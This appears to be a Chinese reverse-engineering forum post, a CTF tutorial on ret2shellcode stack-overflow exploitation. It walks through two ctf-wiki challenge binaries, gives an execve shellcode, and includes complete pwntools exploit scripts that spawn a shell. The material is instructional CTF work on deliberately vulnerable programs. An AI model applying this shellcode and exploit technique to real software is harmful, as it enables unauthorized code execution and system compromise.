学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

340

积分

3

好友

9

主题
发表于 2019-2-20 11:39:20 | 查看: 5332| 回复: 3

相关题目:

简介

ret2shellcode顾名思义,就是return to shellcode,即让程序中某个函数执行结束后,返回到shellcode的地址去执行shellcode,得到system(sh)的效果;ret2shellcode是栈溢出中一种简单而且常规的操作,当配合ROP等技术的使用后,非常有用

利用条件

ret2shellcode的局限性在于,我们存放shellcode的这个地址内存页是标识为可执行,即通常情况下我们checksec程序是NX保护就关闭的,否则当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令
常用的shellcode有:
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"[/mw_shl_code]
这个shellcode只有23个字节,短小精悍,适合放在栈中去执行
还有一种是通过pwntools生成:
[mw_shl_code=python,true]from pwn import *

shellcode=asm(shellcraft.sh())

这个shellcode是44个字节;当然如果能力够,也可以自己去写

---
实例1
---

ctf-wiki里面的两道:https://github.com/ctf-wiki/ctf- ... rflow/ret2shellcode
先看第一道ret2shellcode.c源码:
#include <stdio.h>
#include <string.h>
char buf2[100];
int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    char buf[100];
    printf("No system for you this time !!!\n");
    gets(buf); //这里明显有溢出点
    strncpy(buf2, buf, 100);
    printf("bye bye ~");
    return 0;
}

先看看程序的保护机制开了什么:
root@sir-PC:/ret2shellcode-example# checksec ret2shellcode
 '/ret2shellcode-example/ret2shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

显然NX保护是关闭的,而源码中可以看到有一个长度为100的buf2,又因为PIE保护还是没有开,所以我们只需要找到溢出的字节和buf2的地址,然后将shellcode放在buf2中,然后将返回地址修改为buf2的地址就行了,需要注意的是这里buf2是全局变量,在bss段的位置上;

---
EXP1
---
from pwn import *
p = process('./ret2shellcode')
context.log_level = 'debug' 
buf2_addr = 0x804a080
if args.G:
    gdb.attach(p)
shellcode=asm(shellcraft.sh())
x = shellcode.ljust(112,'a')
p.recvuntil('No system for you this time !!!\n')
p.sendline(x + p32(buf2_addr))
p.interactive()

---
实例2
---
再看第二道shellcode.c源码:
#include <stdio.h>
#include <unistd.h>
int main(){
    char buffer[0x10] = {0};
    setvbuf(stdout, NULL, _IOLBF, 0);
    printf("Welcome to Sniperoj!\n");
    printf("Do your kown what is it : [%p] ?\n", buffer);
    printf("Now give me your answer : \n");
    read(0, buffer, 0x40); //这里同样有溢出
    return 0;
}

需要注意的是这里的buffer只有16个字节,而且属于局部变量,在栈的位置上
查看程序的保护机制:
root@sir-PC:/sniperoj-pwn100-shellcode-x86-64# checksec shellcode
 '/sniperoj-pwn100-shellcode-x86-64/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

这里同样没有开NX保护,但是开了PIE,不过这个PIE开不开都没影响,因为程序中打印出了buffer在栈的地址了
通过ida查看:
__int64 buf; // [sp+0h] [bp-10h]@1
  read(0, &buf, 0x40uLL);

可以知道buf相对于ebp的偏移为0x10,所以其可用的shellcode空间为16+8=24字节,我们有长度为23的shellcode,但是因为其本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,所以我们将其放在后面,即payload为:
payload = 'b'*24+[buf_addr+32]+shellcode

这里的32是24字节的填充数据长度加返回地址长度

---
EXP2
---
from pwn import *
p = process('./shellcode')
context.log_level = 'debug' 
p.recvuntil('[')
buf_addr = p.recvuntil(']', drop=True)
print buf_addr
p.recvuntil('Now give me your answer')
shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline('a'*24 + p64(int(buf_addr,16)+32) + shell)
p.interactive()


小结


放shellcode的地址一定要已知并且有执行的权限,注意不要在运行的过程中破坏了shellcode


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。

    发表于 2019-9-2 15:14:07
    {:6_117:}{:6_117:}{:6_117:}{:6_117:}{:6_117:}{:6_117:}{:6_117:}{:6_117:}
    发表于 2019-9-10 15:31:50
    优秀啊
    发表于 2019-9-10 15:33:30
    啥时候平台有pwn的入门题目学习就好了哈哈哈哈

    小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

    GMT+8, 2024-12-28 05:41 , Processed in 0.185419 second(s), 53 queries .

    Powered by Discuz! X3.4

    Copyright © 2001-2021, Tencent Cloud.

    快速回复 返回顶部 返回列表